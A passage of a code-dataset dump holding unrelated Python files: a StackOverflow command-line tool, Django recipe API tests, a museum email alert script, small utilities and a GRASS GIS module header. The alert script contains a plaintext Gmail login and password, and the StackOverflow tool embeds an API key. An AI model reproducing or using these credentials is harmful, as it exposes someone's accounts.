open('Resources/GeoIncident.json', 'w') as f:\n f.write('%s' % collection)\n\n # return geoList\n","sub_path":"csv_geojson.py","file_name":"csv_geojson.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"183033501","text":"#!/usr/bin/env python\n#import statements\nfrom __future__ import print_function\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport stackexchange\nfrom stackexchange import Sort\nimport os\nimport subprocess\nimport click\nimport sys\nimport html2text\nimport json\nimport urllib2\nimport sys\nimport re\n\n\nif sys.version_info[:2] < (3, 0):\n input = raw_input\n\nNUM_RESULTS = 5\n#API_KEY = \"3GBT2vbKxgh*ati7EBzxGA((\"\nAPI_KEY = \"*s)qiqv5gMYkpvjJN)w*9g((\"\nVERSION_NUM = \"1.0.0\"\n\nusr_api_key = API_KEY\n\nh2t = html2text.HTML2Text()\n\nsok = stackexchange.Site(stackexchange.StackOverflow, app_key=usr_api_key, impose_throttling=True)\nsok.be_inclusive()\n\nclass Config():\n \"\"\" Main configuration object \"\"\"\n def __init__(self):\n self.stderr = False\n self.search = False\n self.verbose = False\n self.tag = False\n self.wiki = False\n \n\n\npassing_configuration = click.make_pass_decorator(Config, ensure=True)\n\n\ndef select(questions, num):\n print_full_question(questions[num - 1])\n working = True\n while working:\n usr_in = click.prompt(\"Yo bruh, I'm Ritvik and I developed this awesome shit called Stacker, which is command line StackOverflow. So now, go ahead and type ln to launch browser, srh to return to search, or q to quit\")\n if usr_in == 'ln':\n click.launch(questions[num - 1].json['link'])\n elif usr_in == 'q':\n sys.exit()\n elif usr_in == 'srh':\n click.echo(\"\\n\" * 12)\n ogn = 0\n if not num % NUM_RESULTS:\n ogn = num - NUM_RESULTS\n else:\n ogn = num - num % NUM_RESULTS\n for j in range(ogn, ogn + NUM_RESULTS):\n print_question(questions[j], j + 1)\n working = False\n else:\n click.echo(click.style(\n \"Hey! The input entered was not recognized! Are you drunk bruh? :P\",\n fg=\"red\",\n err=True))\n\n\ndef focus_question(questions):\n working = True\n while working:\n usr_in = click.prompt(\"Please enter a ques no. to select, mo for more and q to quit\")\n if usr_in == 'mo':\n working = False\n elif usr_in == 'q':\n sys.exit()\n elif usr_in.isnumeric() and int(usr_in) <= len(questions):\n select(questions, int(usr_in))\n else:\n click.echo(click.style(\n \"Hey! The input entered was not recognized! Are you drunk bruh? :P\",\n fg=\"red\",\n err=True))\n\n\ndef _search(config):\n click.echo('Tags: {0}'.format(configs.tag))\n click.echo('Finding: {0}...'.format(configs.term))\n \n\n questions = sok.search_advanced(\n q=config.term,\n sort=Sort.Votes,\n tagged=config.tag.split())\n \n\n count = 0\n question_logs = []\n add_it_logs = question_logs.append\n for question in questions:\n if 'accepted_answer_id' in question.json:\n count += 1\n add_to_logs(question)\n print_question(question, count)\n\n if count % NUM_RESULTS == 0:\n focus_question(question_logs)\n\n if not questions:\n click.echo(\n click.style(\n \"Aw Snap! Mother of Node.js, your search \\'{0}\\' along with the tags \\'{1}\\' returned no results. :( Should we try again bruh?\".format(config.term, config.tag),\n fg=\"red\",\n err=True))\n sys.exit(1)\n\n\ndef print_question(question, count):\n ansid = question.json['accepted_answer_id']\n\n ans = h2t.handle(sok.answer(ansid, body=True).body)\n if len(answer) > 200:\n answer = ''.join([answer[:200], '...'])\n\n click.echo(''.join([\n click.style(''.join([str(count), '\\nQuestion: ', question.title]), fg='white'),\n ''.join(['\\nAnswer:', answer, \"\\n\"]),\n ]))\n\n\ndef get_term(config):\n if config.search:\n return config.search\n elif config.stderr:\n with open(os.devnull, 'wb') as DEVNULL:\n process = subprocess.Popen(\n config.stderr,\n stdout=DEVNULL,\n stderr=subprocess.PIPE, shell=True)\n\n output = process.communicate()[1].splitlines()\n if not len(output):\n click.echo(click.style(\n \"Yo, executable does NOT throw an error.\",\n fg=\"red\"))\n sys.exit(1)\n\n return str(output[-1])\n return \"\"\n\n\ndef print_full_question(question):\n ansid = question.json['accepted_answer_id']\n\n questiontext = h2t.handle(sok.question(question.id, body=True).body)\n ans = h2t.handle(sok.answer(ansid, body=True).body)\n\n click.echo(''.join([\n click.style(''.join([\n \"\\n\\n-----------------------------------------------------------------Here is the question----------------------------------------------------------------------------------\\n\\n\",\n question.title, '\\n', questiontext,\n ]), fg='green'),\n ''.join([\n \"\\n-------------------------------------------------------------------And here is the answer------------------------------------\",\n answer,\n ]),\n ]))\n\n\ndef search_verbose(term):\n questions = so.search_advanced(q=term, sort=Sort.Votes)\n question = questions[0]\n print_full_question(question)\n\n\n@click.command()\n\n@click.option(\"-exec\", \"--stderr\", default=\"\", help=\"It runs an executable and posts errors obtained to SO. Cool shit!\")\n@click.option(\"-tg\", \"--tag\", default=\"\", help=\"Searches the StackOverflow for specified tags bruh\")\n@click.option(\"-srh\", \"--search\", default=\"\", help=\"Searches StackOverflow for the query bruh\")\n@click.option(\"-v\", \"--verbose\", is_flag=True, help=\"Displays the complete text of the relevant ques and ans bruh\")\n@click.option(\"-V\", \"--version\", is_flag=True, help=\"Displays the version info bruh\")\n@click.option(\"-W\", \"--wiki\", default=\"\", help=\"Searched the wikipedia for what you want\" )\n@passing_configuration\ndef main(config, search, stderr, tag, verbose, version, wiki):\n \"\"\" Parses command-line arguments for Stacker \"\"\"\n config.search = search\n config.stderr = stderr\n config.tag = tag\n config.verbose = verbose\n config.wiki = wiki\n\n config.term = get_term(config)\n\n if verbose:\n search_verbose(config.term)\n elif search or stderr:\n _search(config)\n elif version:\n click.echo(\"You are using {VERSION_NUM}\".format(**globals()))\n elif wiki:\n KEY = 0\n base_url = \"http://en.wikipedia.org/w/api.php?\"\n action = \"action=query\"\n Format = \"&format=json\"\n\n titles=\"&titles=\"\n\n\n def get_title():\n title = raw_input('What do you want to know about?\\n')\n title = title.replace(' ','_')\n global titles\n titles = titles + title\n\n\n\n def url_and_displaytitle():\n print('\\ntitle and url for this wikipedia site',end=\"\\n\")\n global base_url\n global action\n global titles\n global Format\n prop = \"&prop=info\"\n inprop = \"&inprop=url|displaytitle\"\n url = base_url + action + titles + prop + inprop + Format\n result = json.load(urllib2.urlopen(url)) \n key = result['query']['pages'].keys()\n global KEY\n KEY = (key[0][:])\n print(result['query']['pages'][str(KEY)]['title'])\n print(result['query']['pages'][str(KEY)]['fullurl'])\n print('\\t-------------------\\t')\n \n\n\n def interesting_links():\n print('\\nyou may also be interested in the following links',end=\"\\n\") \n global base_url\n global Format\n global action\n global titles\n prop = \"&prop=extlinks\"\n try:\n url = base_url + action + titles + prop + Format\n result =json.load(urllib2.urlopen(url))\n key = result['query']['pages'].keys()\n key = key[0][0:]\n j = 0\n offset = result['query-continue']['extlinks']['eloffset']\n while j < offset:\n print(result['query']['pages'][str(key)]['extlinks'][j])\n j=j+1\n except:\n print('sorry,couldn\\'t find any links') \n\n\n\n\n#def interwiki_links():\n # print('inter wiki links found for this search',end=\"\\n\")\n # base_url\n # action\n # titles\n # prop = \"&prop=iwlinks\"\n # url = base_url + action + titles + prop\n # print(url)\n # result = urllib2.urlopen(url)\n # for i in result:\n # print(i)\n\n\n\n\n def wiki_search():\n global base_url\n global action\n global titles\n global Format\n prop = \"&prop=extracts\"\n plaintext = \"&explaintext\"\n section_format = \"&exsectionformat=plain\"\n try:\n url = base_url + action + titles + prop + plaintext + section_format + Format\n result = json.load(urllib2.urlopen(url))\n key = result['query']['pages'].keys()\n key = key[0][0:]\n print(result['query']['pages'][str(key)]['extract'],end=\"\\n\")\n except:\n print('oops!,no wikipedia page for that title.Wikipedia search titles are case Sensitive...')\n \n\n\n\n\n def images():\n print('\\nall images related to this search',end=\"\\n\")\n image_url = \"http://en.wikipedia.org/wiki/\"\n global base_url\n global Format\n global action\n global titles\n prop = \"&prop=images\"\n url = base_url + action + titles + prop + Format\n result = json.load(urllib2.urlopen(url))\n key = result['query']['pages'].keys()\n key = key[0][0:]\n try:\n i = 1\n while(i):\n Image = str(result['query']['pages'][str(key)]['images'][i]['title'])\n image = image_url + Image.replace(' ','_')\n print(image)\n i=i+1\n except:\n print('\\t------------------\\t',end=\"\\n\")\n pass \n\n def featured_feed():\n global base_url\n Format = \"&format=json\"\n action = \"&action=featuredfeed\"\n try:\n feed = \"&feed=\" + str(sys.argv[1])\n url = base_url + action + feed + Format\n print(url)\n result = urllib2.urlopen(url).read()\n res1 = re.compile('(.*)')\n res2 = re.compile('(.*)en')\n Result1 = re.findall(res1,result)\n Result2 = re.findall(res2,result)\n for i in enumerate(zip(Result1,Result2)):\n print(i)\n except:\n print('error!')\n\n\n if len(sys.argv) < 2:\n get_title()\n wiki_search()\n url_and_displaytitle()\n images()\n interesting_links()\n else:\n featured_feed()\n\n else:\n click.echo(\n click.style(\n \"What do you want bruh? No argument is given, so please do both of us a favour just go ahead and use --help for help\",\n fg=\"red\",\n err=True))\n sys.exit(1)\n\nif __name__ == '__main__':\n main()\n","sub_path":"stacker/stacker_arc.py","file_name":"stacker_arc.py","file_ext":"py","file_size_in_byte":11434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"144695325","text":"from django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient\n\nfrom core.models import Recipe, Tag, Ingridient\n\nfrom recipe.serializers import RecipeSerializer, RecipeDetailSerializer\n\n\nRECIPES_URL = reverse('recipe:recipe-list')\n\n\ndef detail_url(recipe_id):\n \"\"\"Return recipe detail url\"\"\"\n return reverse('recipe:recipe-detail', args=[recipe_id])\n\n\ndef sample_tag(user, name='Main Course'):\n \"\"\"Create and return a sample tag\"\"\"\n return Tag.objects.create(user=user, name=name)\n\n\ndef sample_ingridient(user, name='Salt'):\n \"\"\"Create and return a sample ingridient\"\"\"\n return Ingridient.objects.create(user=user, name=name)\n\n\ndef sample_recipe(user, **params):\n \"\"\"Create and return a sample recipe\"\"\"\n defaults = {\n 'title': 'Sample Recipe',\n 'time_minutes': 10,\n 'price': 5.00\n }\n defaults.update(params)\n\n return Recipe.objects.create(user=user, **defaults)\n\n\nclass PublicRecipeApiTests(TestCase):\n \"\"\"Test non auth recipe api user\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n\n def test_auth_required(self):\n \"\"\"Test that auth is requiered\"\"\"\n res = self.client.get(RECIPES_URL)\n\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\n\n\nclass PrivateRecipeApiTests(TestCase):\n \"\"\"Test authenticated recipe api users\"\"\"\n\n def setUp(self):\n self.client = APIClient()\n self.user = get_user_model().objects.create_user(\n 'test@rogelio.com',\n 'testpass'\n )\n self.client.force_authenticate(self.user)\n\n def test_retrive_recipes(self):\n \"\"\"Test retreiving a list of recipes\"\"\"\n sample_recipe(user=self.user)\n sample_recipe(user=self.user)\n\n res = self.client.get(RECIPES_URL)\n\n recipes = Recipe.objects.all().order_by('-id')\n serializer = RecipeSerializer(recipes, many=True)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(res.data, serializer.data)\n\n def test_recipes_are_limited_to_user(self):\n \"\"\"Retreiving recipes for users\"\"\"\n user2 = get_user_model().objects.create_user(\n 'other@rogelio.com',\n 'passtest123'\n )\n sample_recipe(user=user2)\n sample_recipe(user=self.user)\n\n res = self.client.get(RECIPES_URL)\n\n recipes = Recipe.objects.filter(user=self.user)\n serializer = RecipeSerializer(recipes, many=True)\n self.assertEqual(res.status_code, status.HTTP_200_OK)\n self.assertEqual(len(res.data), 1)\n self.assertEqual(res.data, serializer.data)\n\n def test_view_recipe_detail(self):\n \"\"\"Test viewing a recipe detail\"\"\"\n recipe = sample_recipe(user=self.user)\n recipe.tags.add(sample_tag(user=self.user))\n recipe.ingridients.add(sample_ingridient(user=self.user))\n\n url = detail_url(recipe.id)\n res = self.client.get(url)\n\n serializer = RecipeDetailSerializer(recipe)\n self.assertEqual(res.data, serializer.data)\n\n def test_create_basic_recipe(self):\n \"\"\"Test creating recipe\"\"\"\n payload = {\n 'title': 'Chocolate cheesecake',\n 'time_minutes': 30,\n 'price': 5.00\n }\n res = self.client.post(RECIPES_URL, payload)\n\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n recipe = Recipe.objects.get(id=res.data['id'])\n for key in payload.keys():\n self.assertEqual(payload[key], getattr(recipe, key))\n\n def test_create_recipe_with_tags(self):\n \"\"\"Test creating recipe with Tags\"\"\"\n tag1 = sample_tag(self.user, name='Vegan')\n tag2 = sample_tag(self.user, name='Desert')\n payload = {\n 'title': 'Avocado lime cheesecake',\n 'tags': [tag1.id, tag2.id],\n 'time_minutes': 60,\n 'price': 20.00\n }\n res = self.client.post(RECIPES_URL, payload)\n\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n recipe = Recipe.objects.get(id=res.data['id'])\n tags = recipe.tags.all()\n self.assertEqual(tags.count(), 2)\n self.assertIn(tag1, tags)\n self.assertIn(tag2, tags)\n\n def test_creating_recipe_with_ingridients(self):\n \"\"\"test creating recipe with ingridients\"\"\"\n ingridient1 = sample_ingridient(user=self.user, name='Praws')\n ingridient2 = sample_ingridient(user=self.user, name='Ginger')\n payload = {\n 'title': 'Thai prawn red curry',\n 'ingridients': [ingridient1.id, ingridient2.id],\n 'time_minutes': 20,\n 'price': 7.00\n }\n res = self.client.post(RECIPES_URL, payload)\n\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\n recipe = Recipe.objects.get(id=res.data['id'])\n ingridients = recipe.ingridients.all()\n self.assertEqual(ingridients.count(), 2)\n self.assertIn(ingridient1, ingridients)\n self.assertIn(ingridient2, ingridients)\n\n def test_partial_update_recipe(self):\n \"\"\"Test updating a recipe with path\"\"\"\n recipe = sample_recipe(user=self.user)\n recipe.tags.add(sample_tag(user=self.user))\n new_tag = sample_tag(user=self.user, name='Mexican')\n\n payload = {\n 'title': 'Pozole',\n 'tags': [new_tag.id]\n }\n url = detail_url(recipe.id)\n self.client.patch(url, payload)\n\n recipe.refresh_from_db()\n self.assertEqual(recipe.title, payload['title'])\n tags = recipe.tags.all()\n self.assertEqual(len(tags), 1)\n self.assertIn(new_tag, tags)\n\n def test_full_update_recipe(self):\n \"\"\"Test update a recipe with put\"\"\"\n recipe = sample_recipe(user=self.user)\n recipe.tags.add(sample_tag(user=self.user))\n payload = {\n 'tite': 'Spaguetti',\n 'time_minutes': 25,\n 'price': 5.00\n }\n url = detail_url(recipe.id)\n self.client.put(url, payload)\n\n recipe.refresh_from_db()\n self.assertEqual(recipe.title, payload['title'])\n self.assertEqual(recipe.time_minutes, payload['time_minutes'])\n self.assertEqual(recipe.price, payload['price'])\n tags = recipe.tags.all()\n self.assertEqual(len(tags), 0)\n","sub_path":"app/recipe/test/test_recipe_api.py","file_name":"test_recipe_api.py","file_ext":"py","file_size_in_byte":6422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"330714238","text":"import smtplib\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEText import MIMEText\n\n\n\ndef envoieEmail():\n#Envoie un email au personnel de securite du musee\n msg = MIMEMultipart()\n msg['From'] = 'protectart34@gmail.com'\n msg['To'] = 'securite.musee34@gmail.com'\n msg['Subject'] = 'Detection d une personne'\n message = 'Probleme de securite : la presence d une personne a ete detecte pres de votre oeuvre d art. '\n msg.attach(MIMEText(message))\n mailserver = smtplib.SMTP('smtp.gmail.com', 587)\n mailserver.ehlo()\n mailserver.starttls()\n mailserver.ehlo()\n mailserver.login('protectart34@gmail.com', 'fastoche')\n mailserver.sendmail('protectart34@gmail.com', 'securite.musee34@gmail.com', msg.as_string())\n mailserver.quit()\n\nenvoieEmail() \n","sub_path":"Bibliothèque/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"271815377","text":"def Factorial(n):\n\n #!5 = 5 * 4 * 3 * 2 * 1 => 120\n calculoFactorial = 1\n\n for jv in range(1, n + 1):\n calculoFactorial = calculoFactorial * jv\n \n return calculoFactorial\n\ndef Rango(desde, hasta):\n\n \"\"\"\n rango(desde, hasta) -> lista de números: similar a rango, \n pero ahora se puede especificar el \"desde\". \n Ej: rango(5, 10) -> [5,6,7,8,9,10]. \n No hace falta validar que desde sea menor a hasta o tener rangos decrecientes.\n \"\"\"\n lista = []\n creciente = (desde <= hasta)\n inicioRango = 0\n finRango = 1\n\n if creciente == True:\n \n inicioRango = desde\n finRango = hasta + 1\n \n else:\n \n inicioRango = hasta\n finRango = desde + 1\n \n for actual in range(inicioRango, finRango):\n lista.append(actual)\n\n return lista\n\ndef RangoHasta(n):\n \n lista = []\n\n for jv in range(n + 1):\n lista.append(jv)\n\n return lista","sub_path":"Recursividad/IteracionModulo.py","file_name":"IteracionModulo.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"431970375","text":"from matplotlib import pyplot as plt\nimport pandas as pd\n\nplt.style.use('ggplot')\n\ndata = pd.read_csv('movies_data.csv')\nimdb = data['imdb']#it sets it equal to entire imdb column\nmetascore = data['metascore']\nn_imdb = data['n_imdb']\n\nfig, axes = plt.subplots(nrows = 1, ncols = 3, figsize = (16,4))\n\nax1, ax2, ax3 = fig.axes\n\nax1.hist(imdb, bins = 10, range = (0,10)) #bin range = 1\nax1.set_title('IMDB rating')\n\nax2.hist(metascore, bins = 10, range = (0,100)) #bin range = 10\nax2.set_title('Metascore rating')\n\nax3.hist(n_imdb, bins=10, range=(0,100), histtype = 'step', label='n_imdb')\nax3.hist(metascore, bins=10, range=(0,100), histtype = 'step', label='metascore')\nax3.legend(loc = 'upper left')\nax3.set_title('The two Normalised Distributions')\nplt.savefig('final_plot.png')\nplt.show()\n","sub_path":"histTrial.py","file_name":"histTrial.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"202215396","text":"import i as i\nimport time\nimport random\nfrom pprint import pprint\n\nCACHED_TIME = 1\nPOSITION = 2\nHIDE_WHEN_NONE = True\nSTRFORMAT = \"{} ⌫\"\n\ndef find_scratch(tree):\n if tree[\"name\"] == \"__i3_scratch\":\n return tree\n else:\n for x in tree[\"nodes\"]:\n result = find_scratch(x)\n if result:\n return result\n\n return None\n\nclass Py3status:\n def __init__(self, *args, **kwargs):\n self.count = -1\n super(Py3status).__init__(*args, **kwargs)\n\n def currentTitle(self, json, i3status_config):\n count = len(find_scratch(i.get_tree()).get(\"floating_nodes\", []))\n\n if self.count != count:\n transformed = True\n self.count = count\n else:\n transformed = False\n\n return (POSITION, {\n 'transformed': transformed,\n 'full_text': '' if HIDE_WHEN_NONE and count == 0 else STRFORMAT.format(count),\n 'name': 'scratchpad-count', \n 'cached_until': time.time() + CACHED_TIME,\n })\n\nif __name__ == \"__main__\":\n x = Py3status()\n print(x.currentTitle(1, 1))\n","sub_path":".i3/plugin/i3-scratchpad-counter.py","file_name":"i3-scratchpad-counter.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"310060614","text":"\n\n#calss header\nclass _EXISTENTIALISM():\n\tdef __init__(self,): \n\t\tself.name = \"EXISTENTIALISM\"\n\t\tself.definitions = [u'a system of ideas made famous by Jean Paul Sartre in the 1940s in which the world has no meaning and each person is alone and completely responsible for their own actions, by which they make their own character']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_existentialism.py","file_name":"_existentialism.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"257431221","text":"# -*- coding: utf-8 -*-\nimport theLib.damatu as td\nimport time, threading ,datetime\n\n\ntheCodeDict ={}\nlock = threading.Lock()\n\ndef getCode():\n dmt=td.DamatuApi(\"slientcraft\",\"inwcwizard\")\n # d1 =datetime.datetime.now()\n theCode =dmt.decode('/Users/guo/Desktop/1.png',200)\n # d2 =datetime.datetime.now()\n # print(theCode ,(d2 -d1).microseconds)\n lock.acquire()\n try:\n global theCodeDict\n if theCode in theCodeDict:\n theCodeDict[theCode] +=1\n else:\n theCodeDict[theCode] =1\n finally:\n lock.release()\n\nfor i in range(15):\n t =threading.Thread(target=getCode)\n t.start()\ntime.sleep(10)\nprint(theCodeDict)\n# theCodeDict = sorted(theCodeDict.items(), key=lambda dic: dic[1])\n# print(theCodeDict[-1][0])\n\n","sub_path":"hupai/prj/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"576856384","text":"from urllib import request,parse\nimport random,string,client,socket\n\ndef register(url,hash,i,ran_str):\n urlq = url + \"?info_hash=\"+ hash + \"&peer_id=\"+ran_str+\"&port=\"+str(i)+\"&upload=0&downloaded=0&left=0&event=started&numwant=200&compact=1&no_peer_id=1&supportcrypto=1&redundant=0\"\n req = request.Request(urlq)\n\n with request.urlopen(req) as f:\n Data = f.read()\n\ndef get(url,hash,times):\n r1 = range(7200,times+7200)\n lst = []\n for i in r1:\n ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 20))\n lst.append(ran_str)\n for i in r1:\n port = []\n port.append(i >> 8)\n port.append(i & 0xff)\n ports = bytes(port)\n peer = bytes(lst[i-7200],encoding='utf-8')\n data = ports + peer\n print(data)\n connectServer(data)\n for i in r1:\n register(url,hash,i,lst[i-7200])\n\ndef connectServer(data):\n ip = '192.168.43.160'\n port = 1080\n new_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n new_socket.connect((ip, port))\n while True:\n new_socket.send(data)\n back_str = new_socket.recv(1024)\n print(back_str)\n break\n# if __name__ == \"__main__\":\n# get('http://152.136.78.34:6969/announce', '%deY%935%b8K%d8%f9%d9%c9kE%b8%c8%d4%ca%dc%b6%2f%90', 1)\n\n\n# 电影的info_hash: %deY%935%b8K%d8%f9%d9%c9kE%b8%c8%d4%ca%dc%b6%2f%90","sub_path":"lib/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"459182723","text":"import os\r\nimport shutil\r\n\r\nsourcepath= input('Enter your folders souce path: ')\r\ndestinationfile= input('Enter place where you have to pub lish file: ')\r\n\r\nsourcepath=sourcepath+'/'\r\ndestinationfile=destinationfile+'/'\r\n\r\nlistdirectry=os.listdir(sourcepath)\r\n\r\nfor bat in listdirectry:\r\n shutil.copy((sourcepath+bat),destinationfile)","sub_path":"backupFilec99.py","file_name":"backupFilec99.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"473604543","text":"from stack import Stack\r\ndef main():\r\n string=str(input(\"Enter a String to reverse: \"))\r\n s=Stack()\r\n\r\n for char in string:\r\n s.push(char)\r\n while (s.size()!= 0): \r\n print(s.pop(),end=\"\")\r\n \r\n \r\nmain()","sub_path":"CMPT175-lab/Lab4/Using Stack.py","file_name":"Using Stack.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"78534907","text":"from .lab2a import *\n\n\nechoArgs = {}\n\nargs = sys.argv[1:]\ni = 0\nfor arg in args:\n if arg.startswith(\"-\"):\n k, v = arg.split(\"=\")\n echoArgs[k] = v\n else:\n echoArgs[i] = arg\n i += 1\n\nif 0 not in echoArgs:\n sys.exit(\"1\")\n\nmode = echoArgs[0]\nloop = asyncio.get_event_loop()\nloop.set_debug(enabled=True)\n\nif mode.lower() == \"server\":\n coro = playground.getConnector('wzz').create_playground_server(lambda: MyProtocolServer(), 101)\n server = loop.run_until_complete(coro)\n print(\"my Server Started at {}\".format(server.sockets[0].gethostname()))\n loop.run_forever()\n loop.close()\n#my_team_lab2_protocol\n#lab2_protocol\nelse:\n address = mode\n coro = playground.getConnector('lab2_protocol').create_playground_connection(\n lambda: MyProtocolClient(\"hello\", loop),\n address, 101)\n loop.run_until_complete(coro)\n loop.run_forever()\n loop.close()\n","sub_path":"netsec_fall2017/lab2/src/lab2_protocol/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"453859299","text":"# a module for various cleaning functions for enrollments\n\nimport re\nimport numpy as np\n\n### Proposed changes ###\n# \n# 1) import market/location dict\n# 2) map location to parent market\n# 3) compare against leadsheets & label sales\n#\n### Main module\n\ndef fix_email(email):\n\n blacklist = ['none@none.com', 'noemail@gmail.com',\n 'noemail@yahoo.com','none@yahoo.com',\n 'na@yahoo.com','na@gmail.com'] \n try:\n email_tmp = email.casefold()\n if email_tmp in blacklist:\n result = np.NaN\n else:\n result = email_tmp\n except:\n result = np.NaN\n return result\n\ndef fix_phone(phone):\n result = re.sub(\"[^0-9]\", \"\", str(phone))\n return result[-10:]\n\ndef fix_name(name):\n try:\n return name.strip()\n except:\n return name\n","sub_path":"enroll_utils.py","file_name":"enroll_utils.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"29735378","text":"import threading\nimport time\nfrom collections import deque\n\nimport gps\nfrom gps3.agps3threaded import AGPS3mechanism\n\n\nclass GPS3(object):\n def __init__(self):\n agps_thread = AGPS3mechanism()\n agps_thread.stream_data()\n agps_thread.run_thread()\n self.agps = agps_thread\n\n def get_lat_lon(self):\n lat, lon = self.agps.data_stream.lat, self.agps.data_stream.lon\n if lat == 'n/a' or lon == 'n/a':\n return None, None\n return lat, lon\n\n\nclass GpsPoller(threading.Thread):\n def __init__(self, sleep_seconds=.2):\n super(GpsPoller, self).__init__()\n self._quit_event = threading.Event()\n self._sleep = sleep_seconds\n self.queue = deque(maxlen=2)\n self.gps = gps.gps(mode=gps.WATCH_ENABLE)\n\n def quit(self):\n self._quit_event.set()\n\n def is_running(self):\n return not self._quit_event.is_set()\n\n def get_lat_lon(self):\n return self.queue[0] if len(self.queue) > 0 else None\n\n def run(self):\n while self.is_running():\n try:\n data = next(self.gps)\n self.queue.appendleft((data.lat, data.lon))\n time.sleep(self._sleep)\n except Exception:\n pass\n\n\nif __name__ == \"__main__\":\n c_gps = GpsPoller()\n c_gps.start()\n try:\n print(\"Press ^C to exit.\")\n while True:\n print(c_gps.get_lat_lon())\n time.sleep(.2)\n except KeyboardInterrupt:\n c_gps.quit()\n","sub_path":"cadendrive/twist/position.py","file_name":"position.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"412131300","text":"#!/usr/bin/env python\n#\n############################################################################\n#\n# MODULE: m.swim.routing v1.0\n# AUTHOR(S): Michel Wortmann, wortmann@pik-potsdam.de\n# PURPOSE: Preprocessing suit for the Soil and Water Integrated Model (SWIM)\n# COPYRIGHT: (C) 2012-2016 by Wortmann/PIK\n#\n# This program is free software under the GNU General Public\n# License (>=v2). Read the file COPYING that comes with GRASS\n# for details.\n#\n#############################################################################\n\n#%Module\n#% description: Soil and Water Integrated Model (SWIM) preprocessor: routing\n#%End\n#%Option\n#% guisection: Required\n#% key: subbasins\n#% type: string\n#% required: yes\n#% multiple: no\n#% key_desc: name\n#% description: Subbasin vector, nextID and inletID will be uploaded to table\n#% gisprompt: old,vector,vector\n#%end\n#%Option\n#% guisection: Required\n#% key: accumulation\n#% type: string\n#% required: yes\n#% multiple: no\n#% key_desc: name\n#% description: CELL/integer accumulation raster, e.g. m.swim.subbasins\n#% gisprompt: old,cell,raster\n#% answer: accumulation\n#%end\n\n#%Flag\n#% guisection: Output\n#% key: r\n#% label: Only remake routing network and .fig file (eg. after manual editing, outlets and inlets needed!)\n#%end\n\n#%Option\n#% guisection: Output\n#% key: routingnet\n#% type: string\n#% required: no\n#% multiple: no\n#% key_desc: name\n#% description: Vector of routing network to be created\n#% gisprompt: new,vector,vector\n#% answer: routingnetwork\n#%end\n\n#%Option\n#% guisection: Output\n#% key: mainstreams\n#% type: string\n#% required: no\n#% multiple: no\n#% key_desc: name\n#% description: Main streams vector and raster to be created (routingnet needed)\n#% gisprompt: new,vector,vector\n#% answer: mainstreams\n#%end\n\n#%Option\n#% guisection: Output\n#% key: outlets\n#% type: string\n#% required: no\n#% multiple: no\n#% key_desc: name\n#% description: Outlets point vector\n#% gisprompt: new,vector,vector\n#% answer: subbasinoutlets\n#%end\n\n#%Option\n#% guisection: Output\n#% key: inlets\n#% type: string\n#% required: no\n#% multiple: no\n#% key_desc: name\n#% description: Inlets point vector\n#% gisprompt: new,vector,vector\n#% answer: subbasininlets\n#%end\n\n#%Option\n#% guisection: SWIM files\n#% key: figpath\n#% type: string\n#% required: no\n#% multiple: no\n#% key_desc: path/myproj.fig\n#% description: path to the .fig file\n#% gisprompt: new,file,file\n#%end\n\n#%Option\n#% guisection: Optional\n#% key: fromto\n#% type: string\n#% required: no\n#% multiple: yes\n#% key_desc: from,to\n#% description: Force routing manually (pairs of subbasinID,nextID, is slow)\n#%end\n\n#%Option\n#% guisection: Optional\n#% key: streams\n#% type: string\n#% required: no\n#% multiple: no\n#% key_desc: vect\n#% description: Predefined streams to include in 